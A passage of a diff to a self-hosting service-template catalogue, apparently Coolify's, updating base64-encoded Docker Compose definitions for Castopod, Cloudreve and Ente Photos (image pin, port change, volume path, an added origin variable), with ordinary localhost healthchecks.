"c2VydmljZXM6CiAgY2FzdG9wb2Q6CiAgICBpbWFnZTogJ2Nhc3RvcG9kL2Nhc3RvcG9kOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLW1lZGlhOi92YXIvd3d3L2Nhc3RvcG9kL3B1YmxpYy9tZWRpYScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NBU1RPUE9EXzgwMDAKICAgICAgLSBNWVNRTF9EQVRBQkFTRT1jYXN0b3BvZAogICAgICAtIE1ZU1FMX1VTRVI9JFNFUlZJQ0VfVVNFUl9NWVNRTAogICAgICAtIE1ZU1FMX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01ZU1FMCiAgICAgIC0gJ0NQX0RJU0FCTEVfSFRUUFM9JHtDUF9ESVNBQkxFX0hUVFBTOi0xfScKICAgICAgLSBDUF9CQVNFVVJMPSRTRVJWSUNFX1VSTF9DQVNUT1BPRAogICAgICAtIENQX0FOQUxZVElDU19TQUxUPSRTRVJWSUNFX1JFQUxCQVNFNjRfNjRfU0FMVAogICAgICAtIENQX0NBQ0hFX0hBTkRMRVI9cmVkaXMKICAgICAgLSBDUF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gQ1BfUkVESVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDo4MDAwL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgbWFyaWFkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIG1hcmlhZGI6CiAgICBpbWFnZTogJ21hcmlhZGI6MTEuMicKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLWRiOi92YXIvbGliL215c3FsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTVlTUUxfUk9PVF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1ZU1FMX0RBVEFCQVNFPWNhc3RvcG9kCiAgICAgIC0gTVlTUUxfVVNFUj0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gTVlTUUxfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3LjItYWxwaW5lJwogICAgY29tbWFuZDogJy0tcmVxdWlyZXBhc3MgJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMnCiAgICB2b2x1bWVzOgogICAgICAtICdjYXN0b3BvZC1jYWNoZTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIC1hICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTIHBpbmcgfCBncmVwIFBPTkcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgY2FzdG9wb2Q6CiAgICBpbWFnZTogJ2Nhc3RvcG9kL2Nhc3RvcG9kOjEuMTUuNCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLW1lZGlhOi92YXIvd3d3L2Nhc3RvcG9kL3B1YmxpYy9tZWRpYScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NBU1RPUE9EXzgwODAKICAgICAgLSBNWVNRTF9EQVRBQkFTRT1jYXN0b3BvZAogICAgICAtIE1ZU1FMX1VTRVI9JFNFUlZJQ0VfVVNFUl9NWVNRTAogICAgICAtIE1ZU1FMX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01ZU1FMCiAgICAgIC0gJ0NQX0RJU0FCTEVfSFRUUFM9JHtDUF9ESVNBQkxFX0hUVFBTOi0xfScKICAgICAgLSBDUF9CQVNFVVJMPSRTRVJWSUNFX1VSTF9DQVNUT1BPRAogICAgICAtIENQX0FOQUxZVElDU19TQUxUPSRTRVJWSUNFX1JFQUxCQVNFNjRfNjRfU0FMVAogICAgICAtIENQX0NBQ0hFX0hBTkRMRVI9cmVkaXMKICAgICAgLSBDUF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gQ1BfUkVESVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDo4MDgwL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgbWFyaWFkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIG1hcmlhZGI6CiAgICBpbWFnZTogJ21hcmlhZGI6MTEuMicKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLWRiOi92YXIvbGliL215c3FsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTVlTUUxfUk9PVF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1ZU1FMX0RBVEFCQVNFPWNhc3RvcG9kCiAgICAgIC0gTVlTUUxfVVNFUj0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gTVlTUUxfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3LjItYWxwaW5lJwogICAgY29tbWFuZDogJy0tcmVxdWlyZXBhc3MgJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMnCiAgICB2b2x1bWVzOgogICAgICAtICdjYXN0b3BvZC1jYWNoZTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIC1hICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTIHBpbmcgfCBncmVwIFBPTkcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "podcast", "media", @@ -503,7 +503,7 @@ "category": "media", "logo": "svgs/castopod.svg", "minversion": "0.0.0", - "port": "8000" + "port": "8080" }, "changedetection": { "documentation": "https://github.com/dgtlmoon/changedetection.io/?utm_source=coolify.io", @@ -684,7 +684,7 @@ "cloudreve": { "documentation": "https://docs.cloudreve.org/?utm_source=coolify.io", "slogan": "A self-hosted file management and sharing system.", - "compose": "c2VydmljZXM6CiAgY2xvdWRyZXZlOgogICAgaW1hZ2U6ICdjbG91ZHJldmUvY2xvdWRyZXZlOjQuMTAuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NMT1VEUkVWRV81MjEyCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5UeXBlPXBvc3RncmVzCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5Ib3N0PXBvc3RncmVzCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuVXNlcj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuUGFzc3dvcmQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnQ1JfQ09ORl9EYXRhYmFzZS5OYW1lPSR7UE9TVEdSRVNfREI6LWNsb3VkcmV2ZS1kYn0nCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5Qb3J0PTU0MzIKICAgICAgLSAnQ1JfQ09ORl9SZWRpcy5TZXJ2ZXI9cmVkaXM6NjM3OScKICAgICAgLSAnQ1JfQ09ORl9SZWRpcy5QYXNzd29yZD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnY2xvdWRyZXZlLWRhdGE6L2Nsb3VkcmV2ZS9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG5jCiAgICAgICAgLSAnLXonCiAgICAgICAgLSBsb2NhbGhvc3QKICAgICAgICAtICc1MjEyJwogICAgICBpbnRlcnZhbDogMjBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxOC1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWNsb3VkcmV2ZS1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3LWFscGluZScKICAgIGNvbW1hbmQ6ICdyZWRpcy1zZXJ2ZXIgLS1yZXF1aXJlcGFzcyAke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctYScKICAgICAgICAtICcke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUK", + "compose": "c2VydmljZXM6CiAgY2xvdWRyZXZlOgogICAgaW1hZ2U6ICdjbG91ZHJldmUvY2xvdWRyZXZlOjQuMTAuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NMT1VEUkVWRV81MjEyCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5UeXBlPXBvc3RncmVzCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5Ib3N0PXBvc3RncmVzCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuVXNlcj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuUGFzc3dvcmQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnQ1JfQ09ORl9EYXRhYmFzZS5OYW1lPSR7UE9TVEdSRVNfREI6LWNsb3VkcmV2ZS1kYn0nCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5Qb3J0PTU0MzIKICAgICAgLSAnQ1JfQ09ORl9SZWRpcy5TZXJ2ZXI9cmVkaXM6NjM3OScKICAgICAgLSAnQ1JfQ09ORl9SZWRpcy5QYXNzd29yZD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnY2xvdWRyZXZlLWRhdGE6L2Nsb3VkcmV2ZS9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG5jCiAgICAgICAgLSAnLXonCiAgICAgICAgLSBsb2NhbGhvc3QKICAgICAgICAtICc1MjEyJwogICAgICBpbnRlcnZhbDogMjBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxOC1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWNsb3VkcmV2ZS1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ny1hbHBpbmUnCiAgICBjb21tYW5kOiAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLWEnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1Cg==", "tags": [ "file sharing", "cloud storage", @@ -1173,7 +1173,7 @@ "ente-photos": { "documentation": "https://help.ente.io/self-hosting/installation/compose?utm_source=coolify.io", "slogan": "Ente Photos is a fully open source, End to End Encrypted alternative to Google Photos and Apple Photos.", - "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX01VU0VVTV84MDgwCiAgICAgIC0gJ0VOVEVfSFRUUF9VU0VfVExTPSR7RU5URV9IVFRQX1VTRV9UTFM6LWZhbHNlfScKICAgICAgLSAnRU5URV9BUFBTX1BVQkxJQ19BTEJVTVM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMn0nCiAgICAgIC0gJ0VOVEVfQVBQU19DQVNUPSR7U0VSVklDRV9VUkxfV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMX0nCiAgICAgIC0gJ0VOVEVfREJfSE9TVD0ke0VOVEVfREJfSE9TVDotcG9zdGdyZXN9JwogICAgICAtICdFTlRFX0RCX1BPUlQ9JHtFTlRFX0RCX1BPUlQ6LTU0MzJ9JwogICAgICAtICdFTlRFX0RCX05BTUU9JHtFTlRFX0RCX05BTUU6LWVudGVfZGJ9JwogICAgICAtICdFTlRFX0RCX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVM6LXBndXNlcn0nCiAgICAgIC0gJ0VOVEVfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnRU5URV9LRVlfRU5DUllQVElPTj0ke1NFUlZJQ0VfUkVBTEJBU0U2NF9FTkNSWVBUSU9OfScKICAgICAgLSAnRU5URV9LRVlfSEFTSD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF82NF9IQVNIfScKICAgICAgLSAnRU5URV9KV1RfU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0X0pXVH0nCiAgICAgIC0gJ0VOVEVfSU5URVJOQUxfQURNSU49JHtFTlRFX0lOVEVSTkFMX0FETUlOOi0xNTgwNTU5OTYyMzg2NDM4fScKICAgICAgLSAnRU5URV9JTlRFUk5BTF9ESVNBQkxFX1JFR0lTVFJBVElPTj0ke0VOVEVfSU5URVJOQUxfRElTQUJMRV9SRUdJU1RSQVRJT046LWZhbHNlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fQVJFX0xPQ0FMX0JVQ0tFVFM9JHtQUklNQVJZX1NUT1JBR0VfQVJFX0xPQ0FMX0JVQ0tFVFM6LWZhbHNlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fVVNFX1BBVEhfU1RZTEVfVVJMUz0ke1BSSU1BUllfU1RPUkFHRV9VU0VfUEFUSF9TVFlMRV9VUkxTOi10cnVlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fS0VZPSR7UzNfU1RPUkFHRV9LRVk6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1NFQ1JFVD0ke1MzX1NUT1JBR0VfU0VDUkVUOj99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9FTkRQT0lOVD0ke1MzX1NUT1JBR0VfRU5EUE9JTlQ6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1JFR0lPTj0ke1MzX1NUT1JBR0VfUkVHSU9OOi11cy1lYXN0LTF9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9CVUNLRVQ9JHtTM19TVE9SQUdFX0JVQ0tFVDo/fScKICAgICAgLSAnRU5URV9TTVRQX0hPU1Q9JHtFTlRFX1NNVFBfSE9TVH0nCiAgICAgIC0gJ0VOVEVfU01UUF9QT1JUPSR7RU5URV9TTVRQX1BPUlR9JwogICAgICAtICdFTlRFX1NNVFBfVVNFUk5BTUU9JHtFTlRFX1NNVFBfVVNFUk5BTUV9JwogICAgICAtICdFTlRFX1NNVFBfUEFTU1dPUkQ9JHtFTlRFX1NNVFBfUEFTU1dPUkR9JwogICAgICAtICdFTlRFX1NNVFBfRU1BSUw9JHtFTlRFX1NNVFBfRU1BSUx9JwogICAgICAtICdFTlRFX1NNVFBfU0VOREVSX05BTUU9JHtFTlRFX1NNVFBfU0VOREVSX05BTUV9JwogICAgICAtICdFTlRFX1NNVFBfRU5DUllQVElPTj0ke0VOVEVfU01UUF9FTkNSWVBUSU9OfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICB2b2x1bWVzOgogICAgICAtICdtdXNldW0tZGF0YTovZGF0YScKICAgICAgLSAnbXVzZXVtLWNvbmZpZzovY29uZmlnJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODA4MC9waW5nJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICB3ZWI6CiAgICBpbWFnZTogZ2hjci5pby9lbnRlLWlvL3dlYgogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfV0VCXzMwMDAKICAgICAgLSAnRU5URV9BUElfT1JJR0lOPSR7U0VSVklDRV9VUkxfTVVTRVVNfScKICAgICAgLSAnRU5URV9BTEJVTVNfT1JJR0lOPSR7U0VSVklDRV9VUkxfV0VCXzMwMDJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctLWZhaWwnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAwJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFUzotcGd1c2VyfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtTRVJWSUNFX0RCX05BTUU6LWVudGVfZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJHtQT1NUR1JFU19VU0VSfSAtZCAke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX01VU0VVTV84MDgwCiAgICAgIC0gJ0VOVEVfSFRUUF9VU0VfVExTPSR7RU5URV9IVFRQX1VTRV9UTFM6LWZhbHNlfScKICAgICAgLSAnRU5URV9BUFBTX1BVQkxJQ19BTEJVTVM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMn0nCiAgICAgIC0gJ0VOVEVfQVBQU19DQVNUPSR7U0VSVklDRV9VUkxfV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMX0nCiAgICAgIC0gJ0VOVEVfUEhPVE9TX09SSUdJTj0ke1NFUlZJQ0VfVVJMX1dFQn0nCiAgICAgIC0gJ0VOVEVfREJfSE9TVD0ke0VOVEVfREJfSE9TVDotcG9zdGdyZXN9JwogICAgICAtICdFTlRFX0RCX1BPUlQ9JHtFTlRFX0RCX1BPUlQ6LTU0MzJ9JwogICAgICAtICdFTlRFX0RCX05BTUU9JHtFTlRFX0RCX05BTUU6LWVudGVfZGJ9JwogICAgICAtICdFTlRFX0RCX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVM6LXBndXNlcn0nCiAgICAgIC0gJ0VOVEVfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnRU5URV9LRVlfRU5DUllQVElPTj0ke1NFUlZJQ0VfUkVBTEJBU0U2NF9FTkNSWVBUSU9OfScKICAgICAgLSAnRU5URV9LRVlfSEFTSD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF82NF9IQVNIfScKICAgICAgLSAnRU5URV9KV1RfU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0X0pXVH0nCiAgICAgIC0gJ0VOVEVfSU5URVJOQUxfQURNSU49JHtFTlRFX0lOVEVSTkFMX0FETUlOOi0xNTgwNTU5OTYyMzg2NDM4fScKICAgICAgLSAnRU5URV9JTlRFUk5BTF9ESVNBQkxFX1JFR0lTVFJBVElPTj0ke0VOVEVfSU5URVJOQUxfRElTQUJMRV9SRUdJU1RSQVRJT046LWZhbHNlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fQVJFX0xPQ0FMX0JVQ0tFVFM9JHtQUklNQVJZX1NUT1JBR0VfQVJFX0xPQ0FMX0JVQ0tFVFM6LWZhbHNlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fVVNFX1BBVEhfU1RZTEVfVVJMUz0ke1BSSU1BUllfU1RPUkFHRV9VU0VfUEFUSF9TVFlMRV9VUkxTOi10cnVlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fS0VZPSR7UzNfU1RPUkFHRV9LRVk6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1NFQ1JFVD0ke1MzX1NUT1JBR0VfU0VDUkVUOj99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9FTkRQT0lOVD0ke1MzX1NUT1JBR0VfRU5EUE9JTlQ6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1JFR0lPTj0ke1MzX1NUT1JBR0VfUkVHSU9OOi11cy1lYXN0LTF9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9CVUNLRVQ9JHtTM19TVE9SQUdFX0JVQ0tFVDo/fScKICAgICAgLSAnRU5URV9TTVRQX0hPU1Q9JHtFTlRFX1NNVFBfSE9TVH0nCiAgICAgIC0gJ0VOVEVfU01UUF9QT1JUPSR7RU5URV9TTVRQX1BPUlR9JwogICAgICAtICdFTlRFX1NNVFBfVVNFUk5BTUU9JHtFTlRFX1NNVFBfVVNFUk5BTUV9JwogICAgICAtICdFTlRFX1NNVFBfUEFTU1dPUkQ9JHtFTlRFX1NNVFBfUEFTU1dPUkR9JwogICAgICAtICdFTlRFX1NNVFBfRU1BSUw9JHtFTlRFX1NNVFBfRU1BSUx9JwogICAgICAtICdFTlRFX1NNVFBfU0VOREVSX05BTUU9JHtFTlRFX1NNVFBfU0VOREVSX05BTUV9JwogICAgICAtICdFTlRFX1NNVFBfRU5DUllQVElPTj0ke0VOVEVfU01UUF9FTkNSWVBUSU9OfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICB2b2x1bWVzOgogICAgICAtICdtdXNldW0tZGF0YTovZGF0YScKICAgICAgLSAnbXVzZXVtLWNvbmZpZzovY29uZmlnJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODA4MC9waW5nJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICB3ZWI6CiAgICBpbWFnZTogZ2hjci5pby9lbnRlLWlvL3dlYgogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfV0VCXzMwMDAKICAgICAgLSAnRU5URV9BUElfT1JJR0lOPSR7U0VSVklDRV9VUkxfTVVTRVVNfScKICAgICAgLSAnRU5URV9BTEJVTVNfT1JJR0lOPSR7U0VSVklDRV9VUkxfV0VCXzMwMDJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctLWZhaWwnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAwJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUnCiAgICBlbnZ